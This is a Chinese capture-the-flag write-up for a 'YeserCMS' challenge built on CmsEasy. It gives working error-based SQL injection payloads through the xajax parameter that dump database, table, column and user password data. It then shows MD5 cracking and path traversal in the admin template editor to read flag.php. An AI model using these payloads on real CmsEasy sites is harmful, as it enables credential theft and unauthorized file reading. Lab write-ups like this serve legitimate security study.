YeserCMS
这道题直接让我们查网站根目录的flag,我首先想到的是一句话木马,但是奈何找不到上传的接口啊,只好作罢,
在下载发现有个cmseasy的标识,明显是要提示我们这里是easycms,百度easycms的漏洞然后注入
注入点:
1.通过利用easycmss报错注入获取数据库名称:
Payload:xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
2.然后获取表名称
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database() ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
发现显示受到限制了,需要将payload中的1,32改为720,800
出现完整的表名
3.然后获取列名
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
得到列名
- 再爆数据信息
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
一看这里也没有爆完,就将1,32修改成9,32得到后面的密码
拼起来得到密码
ff512d4240cbbdeafada404677ccbe61
发现密码不对。。。原来这是MD5编码,用md5解密工具解码得到Yeser231
再次使用就成功登录进去了
然后点管理
选择模板——当前模板编辑
打开bp,随意点击下面的一个编辑,进行抓包,发现数据包里有个文件读取操作
我们将其传入repeater中,修改id的值,让其等于../../flag.php根据提示flag在网站根目录的flag.php中,这里不清楚flag.php在几级目录就依次尝试flag.php,../flag.php,../../flag.php
得到flag